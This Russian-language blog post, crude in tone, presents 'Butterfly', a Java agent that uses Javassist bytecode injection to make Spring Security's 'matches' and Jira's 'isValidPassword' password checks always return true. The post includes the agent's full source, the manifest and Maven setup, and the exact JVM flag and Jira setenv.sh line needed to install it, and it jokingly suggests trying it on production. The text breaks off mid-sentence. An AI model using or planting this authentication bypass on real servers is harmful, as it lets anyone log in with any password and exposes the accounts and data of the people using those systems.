experiments
January 11

Перо в бочину для жырной джиры 

Рассказываю про одну интересную и универсальную технику отключения авторизации. Настолько интересную и универсальную, что вы просто ох#еете.

Машины должны служить человеку а не спрашивать про всякие пароли.

Саундрек к статье:

Вводная

Начну как обычно с любимой цитаты:

Laws, like sausages, cease to inspire respect in proportion as we know how they are made.[19]

Тем, кто любит сосиски и уважает закон, лучше не видеть, как делается то и другое. — Приписывается Бисмарку с 1930-х гг.[20]

Конечно во времена Отто фон Бисмарка не было ни ИТ ни всех этих продвинутых технологий, иначе про столь простую вещь как «сосиски» он бы и не вспоминал вообще. Ведь в наше замечательное время куда сложнее найти что-то простое и однозадачное чем очередную «комбинированную йобу».

И «йобы» эти стали настолько сложны, что погружение в особенности их работы может легко довести до дурки. Но к счастью мне дурка уже не грозит ввиду возраста — мозг давно окреп и заматерел, поэтому позволяет погружаться по ноздри во всякое компьютерное говно без последствий для нежной психики.

В этот раз немного раскрою тему компьютерной безопасности:

Постараюсь развеять одну из популярных иллюзий на тему авторизации — про «нереальную сложность» ее обхода.

Так исторически сложилось, что в отрасли информационной безопасности балом правят (по большей части) бывшие сисадмины а не нормальные разработчики. Которые либо не имеют серьезного опыта разработки вообще либо занимаются лишь ее прикладной частью.

Да да мои дорогие безопасники, все ваши системы прав доступа, мандатов и проверок безопасности — не что иное как обычная прикладная разработка.

Технически не очень сложная, зато очень нудная, поскольку большая часть такой работы есть создание однотипных проверок по четко заданным и описанным правилам.

Что дает серьезный отпечаток на мозге таких разработчиков в сторону квадратно-гнездового типа мышления: ИБ-специалистам очень непросто выйти за границы восприятия и взглянуть на свою работу под другим углом.

Плюс традиционная для сисадминов лень и нежелание разбираться, оставаясь в формальных границах использования чего-то готового.

В итоге получаем смешную и страшную ситуацию:

одни требуют от компьютерных систем безопасности, которой там отродясь не было, другие эту самую безопасность активно впаривают, причем не желая разбираться в вопросе.

И как-бы хер бы с ними со всеми сразу, если бы только на свете не существовало медицинских систем, самолетов, скоростных поездов и атомных станций — вы же прекрасно понимаете, что один и тот же популярный софт используется и у вас на домашнем компьютере и где-нибудь на АЭС.

Несмотря на все риски.

Техника

То что я опишу ниже не является какой-то там «дырой в безопасности» или уязвимостью, это принцип работы, общий для всего виденного мною софта где есть проверка по паролю.

Посмотрите на скриншот, это абсолютно стандартная форма авторизации:

Вы используете такие формы каждый день и даже не замечаете.

Дальше могут быть дополнительные проверки, например капча:

Или вторая стадия двухфакторной авторизации: просьба ввести код из СМС сообщения, отправленного на телефон:

Как бы это странно не звучало, но это все не важно, потому что в итоге все эти супернавороченные проверки сводятся к вот такой функции где-то глубоко внутри приложения:

boolean matches(CharSequence rawPassword, String encodedPassword)

Вот выдержка из документации Spring, откуда я ее взял:

Verify the encoded password obtained from storage matches the submitted raw password after it too is encoded. Returns true if the passwords match, false if they do not. The stored password itself is never decoded.

И наконец самое интересное:

Returns: true if the raw password, after encoding, matches the encoded password from storage

Да мои дорогие любители компьютерной безопасности, все навороченные проверки авторизации сводятся к вот такой простой функции возвращающей банальное true или false.

И нет, Spring Framework такой не один. Вот вам аналог такой функции для Python и Django:

If you’d like to manually authenticate a user by comparing a plain-text password to the hashed password in the database, use the convenience function check_password(). It takes two mandatory arguments: the plain-text password to check, and the full value of a user’s password field in the database to check against. It returns True if they match, False otherwise

Вот для ASP.NET:

// TODO: Here is where you would validate the username and password. 
private static bool CheckPassword(string username, string password) { 
   return username == "user" && password == "password";
}

Вот для Ruby и Rails:

has_secure_password(attribute = :password, validations: true)
Adds methods to set and authenticate against a BCrypt password. This mechanism requires you to have a XXX_digest attribute, where XXX is the attribute name of your desired password.

Вообщем наверное для всех популярных фреймворков, языков и решений такой подход сейчас является стандартным.

Это ни хорошо и не плохо — это так работает

Нравится вам или нет.

Как вы наверное уже догадываетесь, для отключения авторизации нужно всего лишь в такой функции вернуть true.

И все, п#здец сразу к вам придет и немедленно наступит.

Как именно произойдет подмена — на ваше усмотрение, ниже расскажу про один из вариантов.

Для обычного проекта на Spring Boot достаточно вот такого:

@Bean
public PasswordEncoder passwordEncoder() {
   return new BCryptPasswordEncoder() {
       @Override
       public boolean matches(CharSequence rawPassword, 
                              String encodedPassword) {
                    // "Скрипач не нужен" (ц)     
                    return true;    
                }
       };
}

Добавляете в ваш любимый класс «SecurityConfiguration», пересобираете и запускаете — вуаля! Теперь каждый сможет войти под любым паролем!

Ну разве не чудесно?

Разумеется нет, поскольку требует пересборки проекта либо подкладывания класса, что не всегда так просто сделать.

Есть способ лучше, куда более универсальный.

Проект "Butterfly"

Что вы знаете о Тайлере Дердене технологии Java Agent? Скорее всего ничего, потому что это очень специфичная штука, редко применяемая в обычной повседневной разработке:

This class provides services needed to instrument Java programming language code. Instrumentation is the addition of byte-codes to methods for the purpose of gathering data to be utilized by tools. Since the changes are purely additive, these tools do not modify application state or behavior. Examples of such benign tools include monitoring agents, profilers, coverage analyzers, and event loggers.

Мало кто про нее знает, единицы использовали на практике для чего-то осмысленного а таких как я вообще не существует.

Одним из вариантов использования этой замечательной технологии является подмена Java-классов на лету на уровне байткода, а особенностью работы — что через обработчик такого агента проходят все прикладные классы, не взирая на иерархию ClassLoader-ов, включая изоляцию WAR/EAR в серверах приложений.

Начинаете понимать куда я клоню?

Правильно:

мы не будем трогать код самого приложения, отвечающего за проверку авторизации, мы его просто нах#уй подменим, на лету.

«Как тебе такое Элон Маск?» (ц)

Но прежде чем лезть дальше надо рассказать про еще одну технологию, еще менее известную обывателям от разработки.

Дело в том, что на вход обработчику Java Agent приходит один лишь голый массив байт, содержащий конкретный класс. Для того чтобы изменить программную логику внутри класса, его придется сначала разобрать, изменить и потом собрать обратно в массив байт, который уже уйдет на загрузку в виртуальную машину.

Для задач такого раскодирования с правками существуют специальные библиотеки, самые мощные из которых это Byte Buddy и Javassist.

Не буду расписывать их отличия и набор фич — это отдельная большая тема, отмечу лишь что Byte Buddy более новая, а Javassist — более старая. В этой статье я буду использовать Javassist ради уважения к духу предков потому что код на нем получается чуть меньше.

Код

Весь исходный код проекта выложен на Github, для сборки достаточно обычного Apache Maven:

mvn clean package

После чего в папке target появится butterfly.jar - наш агент зла, который необходимо указать при запуске вашего приложения:

java -javaagent:</full/path/to/butterfly.jar> -jar your-spring-boot-app.jar

При запуске, в случае успешной подмены логики проверки паролей появится сообщение:

altered method: matches

И все, дальше можно будет авторизоваться с любым произвольным набором символов вместо пароля.

При вызове подмененного метода будет сообщение:

Bypassing password check..

Поэтому сработает подмена или нет будет видно в логе сразу.

Теперь разберем исходный код, вот он весь целиком:

package com.Ox08.butterfly;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.runtime.Desc;
import javassist.scopedpool.ScopedClassPoolFactoryImpl;
import javassist.scopedpool.ScopedClassPoolRepositoryImpl;
import java.io.ByteArrayInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
/**
 * This class allows to bypass password validation for Spring Security-based apps and
 * for Atlassian Jira
 *
 * @author Alex Chernyshev <alex3.145@gmail.com>
 * @since 1.0
 *
 */
public class BypassPasswordChecks {
    public static void premain(String agentArgs, Instrumentation instrumentation) {
        System.out.println("Starting butterfly..");
        //Sets the useContextClassLoader =true to get any class type to be correctly resolved with correct OSGI module
        Desc.useContextClassLoader = true;
        instrumentation.addTransformer(new InterceptingClassTransformer());
    }
    static class InterceptingClassTransformer implements ClassFileTransformer {
        private static final String BYPASS_PAYLOAD = "if (true) { System.out.println(\"Bypassing password check..\"); return true; }";
        private final ScopedClassPoolFactoryImpl scopedClassPoolFactory = new ScopedClassPoolFactoryImpl();
        private final ClassPool rootPool = ClassPool.getDefault();
        @Override
        public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
                                ProtectionDomain protectionDomain, byte[] classfileBuffer) {
            final boolean foundSpring = checkIfSpringSecurityPasswordEncoder(className),
                    foundAtlassian = checkIfAtlassianSecurityPasswordEncoder(className);
            if (!foundSpring && !foundAtlassian) {
                return classfileBuffer;
            }
            System.out.printf("processing class %s%n", className);
            try {
                final CtClass ctClass = scopedClassPoolFactory.create(loader, rootPool,
                                ScopedClassPoolRepositoryImpl.getInstance())
                        .makeClass(new ByteArrayInputStream(classfileBuffer));
                // пропускаем интерфейсы и всякую херь
                if (ctClass.isInterface() || ctClass.isAnnotation()
                        || ctClass.isPrimitive() || ctClass.isArray() || ctClass.isEnum()) {
                    return classfileBuffer;
                }
                for (CtMethod method : ctClass.getDeclaredMethods()) {
                    if ((foundAtlassian && method.getName().equals("isValidPassword"))
                            || (foundSpring && method.getName().equals("matches"))) {
                        method.insertBefore(BYPASS_PAYLOAD);
                        System.out.printf("altered method: %s%n", method.getName());
                        break;
                    }
                }
                final byte[] byteCode = ctClass.toBytecode();
                ctClass.detach();
                return byteCode;
            } catch (Throwable ex) {
                System.err.printf("Error transforming class: %s%n", ex.getMessage());
                return classfileBuffer;
            }
        }
        private boolean checkIfSpringSecurityPasswordEncoder(String className) {
            return className.contains("org/springframework/security/") && className.endsWith("Encoder");
        }
        private boolean checkIfAtlassianSecurityPasswordEncoder(String className) {
            /*
            @see com.atlassian.security.password.DefaultPasswordEncoder
             */
            return className.contains("com/atlassian/security/") && className.endsWith("Encoder");
        }
    }
}

Начнем с необычного входного метода:

public static void premain(String agentArgs, Instrumentation instrumentation) {
        System.out.println("Starting butterfly..");
        //Sets the useContextClassLoader =true to get any class type to be correctly resolved with correct OSGI module
        Desc.useContextClassLoader = true;
        instrumentation.addTransformer(new InterceptingClassTransformer());
    }

Напоминаю тем кто не знает (и вдруг решил прочитать эту статью), что стандартная точка входа для приложения на Java выглядит вот так:

public static void main(String[] arg) {
   ..
}

С вызова именно этого метода начинается работа стандартного Java-приложения. Но «Java Agent» запускается иначе.

Еще одним важным моментом является наличие специальной строки Premain-Class в манифесте JAR-файла (MANIFEST.MF):

Manifest-Version: 1.0
Created-By: Maven Archiver 3.6.0
Build-Jdk-Spec: 21
Premain-Class: com.Ox08.butterfly.BypassPasswordChecks

Без этой строки, JAR-файл с агентом не будет распознан и активирован.

Для автоматической записи этой строки при формировании манифеста в файле сборки pom.xml есть специальная инструкция:

<archive>
    <manifestEntries>
       <Premain-Class>com.Ox08.butterfly.BypassPasswordChecks</Premain-Class>
    </manifestEntries>
</archive>

Но вернемся к коду, следующая важная строчка:

 Desc.useContextClassLoader = true;

Вот что она делает:

Specifies how a java.lang.Class object is loaded.

Параметр указывает на то как именно должны загружаться классы.Если значение true, то загрузка происходит из ContextClassloader текущего треда:

Thread.currentThread().getContextClassLoader().loadClass()

А если нет то более обыденным Class.forName().

Из-за того что все сервлет-контейнеры (и Spring Boot) изолируют классы веб-приложений через иерархию ClassLoader-ов, добраться до них без учета такой иерархии не всегда возможно.

Поэтому для любого более-менее реального использования вызов Desc.useContextClassLoader = true должен быть обязательно.

Следущая интересная строчка это собственно активация нашего обработчика:

instrumentation.addTransformer(new InterceptingClassTransformer());  

Без нее обработка классов и весь цирк с подменой работать не будет.

Теперь переходим к собственно обработчику:

static class InterceptingClassTransformer 
                           implements ClassFileTransformer {
   ..
}

Как видите это внутренний класс, имплементирующий один замечательный интерфейс ClassFileTransformer, который требует реализовать вот такой метод:

@Override
public byte[] transform(ClassLoader loader, 
                        String className, 
                        Class<?> classBeingRedefined,
                        ProtectionDomain protectionDomain, 
                        byte[] classfileBuffer) {
       ..
}      

Именно этот метод вызывается со стороны JVM в качестве обработчика для прочитанных но еще не загруженных классов.

Возвращает при этом он также массив байт, в котором должен содержаться байткод класса.

Поэтому вся работа с подменой будет происходить между входным и выходным набором байт — практически как у дидов в Си, только без переходов по ссылке и битой памяти.

Любая приличная обработка начинается с проверки условий и у нас она тоже имеется:

final boolean foundSpring = checkIfSpringSecurityPasswordEncoder(className),
              foundAtlassian = checkIfAtlassianSecurityPasswordEncoder(className);
if (!foundSpring && !foundAtlassian) {
                return classfileBuffer;
}         

Сами проверки достаточно банальны, вот версия для Spring Security:

private boolean checkIfSpringSecurityPasswordEncoder(String className) {
    return className.contains("org/springframework/security/") 
                 && className.endsWith("Encoder");
}

Нам необходимо вычленить классы реализующие интерфейс Password Encoder из всего потока входящих, поэтому мы проверяем начинается ли полное имя класса с пакета org.springframework.security и заканчивается ли оно на слово Encoder.

Обратите внимание на именование через слеш — каждый уровень в пакетной системе Java на самом деле является вложенным каталогом, поэтому «className» это на самом деле полный путь до .class файла с байткодом, убираются лишь префиксы вроде file:// или jar://

Версия проверки для Atlassian Jira по своей сути аналогична, про нее чуть ниже. Дальше у нас идет первая отбраковка:

if (!foundSpring && !foundAtlassian) {
                return classfileBuffer;
}

Мы просто возвращаем оригинальный массив байт с неизмененным классом и выходим из обработчика.

Затем начинается основной блок, где и происходит все веселье:

System.out.printf("processing class %s%n", className);
try {
       ..
} catch (Throwable ex) {
     System.err.printf("Error transforming class: %s%n", ex.getMessage());
     return classfileBuffer;
}

Как вы видите, логика обернута в «try-catch», причем с отловом сразу всех уровней ошибок (Throwable!). Сделано это намеренно, поскольку согласно спецификации Java Agent все возникающие при вызове обработчика ошибки просто тихо игнорируются.

Едем дальше:

final CtClass ctClass = scopedClassPoolFactory.create(loader, rootPool,
                   ScopedClassPoolRepositoryImpl.getInstance())
                        .makeClass(new ByteArrayInputStream(classfileBuffer));             

Этот веселый вызов производит разбор массива байт и формирует объект CtClass, с метаданными о внутренней структуре класса.

На этом этапе будут доступны все поля класса и все методы, но без восстановленного содержимого, поскольку Javassist не занимается декомпиляцией до исходного кода.

Что важно для следующего шага:

if (ctClass.isInterface() || ctClass.isAnnotation()
                        || ctClass.isPrimitive() 
                        || ctClass.isArray() || ctClass.isEnum()) {
                    return classfileBuffer;
}

В этом месте мы делаем вторую отсечку, уже по метаданным класса — чтобы не ошибиться во время подмены.

Если класс оказался интерфейсом, аннотацией, притивным типом, массивом или перечислением — просто возвращаем оригинальный массив байт и выходим, не пытаясь изменить содержимое.

В следующем блоке кода происходит обход всех методов класса и проверка их на совпадение по имени:

for (CtMethod method : ctClass.getDeclaredMethods()) {
                    if ((foundAtlassian && method.getName().equals("isValidPassword"))
                            || (foundSpring && method.getName().equals("matches"))) {
                        method.insertBefore(BYPASS_PAYLOAD);
                        System.out.printf("altered method: %s%n", method.getName());
                        break;
                    }
}

Если таковое найдено, происходит вставка нашего кода перед вызовом оригинальной логики:

method.insertBefore(BYPASS_PAYLOAD);                       

Внутри BYPASS_PAYLOAD очень простой код:

if (true) { 
    System.out.println("Bypassing password check.."); 
    return true; 
}

Он просто уменьшен и запихан в одну строковую константу для последующего реиспользования, поскольку логика для подмены реализации в Jira и Spring Security совпадает.

Наконец финал всех наших правок:

final byte[] byteCode = ctClass.toBytecode();
ctClass.detach();
return byteCode;

Тут происходит выгрузка измененного класса обратно в массив байт и отдача этого массива из нашего обработчика.

Все, дальше JVM сама распарсит этот массив байт и загрузит его в виде класса.

Поздравляю.

Ну разумеется нет, вы же пришли сюда за жирной джирой и сейчас я расскажу как все описанное применить еще и к ней.

Жырная Джира

Когда имеешь дело со столь старым проектом (Jira появилась раньше чем я начал писать код на Java, на минуточку), стоит ожидать что все будет непросто.

Хотя внутри Jira и присутствуют классы из Spring Security, сам проект не использует стандартный механизм Password Encoder при авторизации.

Вместо него в Jira есть собственная реализация, которая находится в файле atlassian-password-encoder*.jar в каталоге $JIRA_HOME/atlassian-jira/WEB-INF/lib.

Внутри находится класс DefaultPasswordEncoder, с нужным нам методом isValidPassword, который точно также возвращает true или false в зависимости от результатов проверки пароля.

Поскольку общая логика работы совпадает с механизмом Spring Security, мы точно также сначала определяем нужный класс при загрузке:

private boolean checkIfAtlassianSecurityPasswordEncoder(String className) {
            return className.contains("com/atlassian/security/") 
                  && className.endsWith("Encoder");
}

а затем вставляем нашу логику в сам метод:

for (CtMethod method : ctClass.getDeclaredMethods()) {
      if ((foundAtlassian && method.getName().equals("isValidPassword"))
              || (foundSpring && method.getName().equals("matches"))) {
                method.insertBefore(BYPASS_PAYLOAD);
                System.out.printf("altered method: %s%n",method.getName());
                break;
      }
}

И все замечательно работает.

Чтобы в этом убедиться, указываем наш агент в скрипте запуска Jira (файл $JIRA_HOME/bin/setenv.sh) вот в таком виде:

JVM_SUPPORT_RECOMMENDED_ARGS="-javaagent:/полный/путь/до/butterfly.jar"

И перезапускаем. После перезапуска будет работать авторизация с любым набором символов вместо пароля.

Обязательно попробуйте на продакшне — отличное развлечение в корпоративной среде крупной компании!

Только не забывайте, что переломы заживают очень долго а ноги у вас всего две.

После запуска, в логах (файл $JIRA_HOME/logs/catalina.out) будут сообщения о том что метод успешно заменен: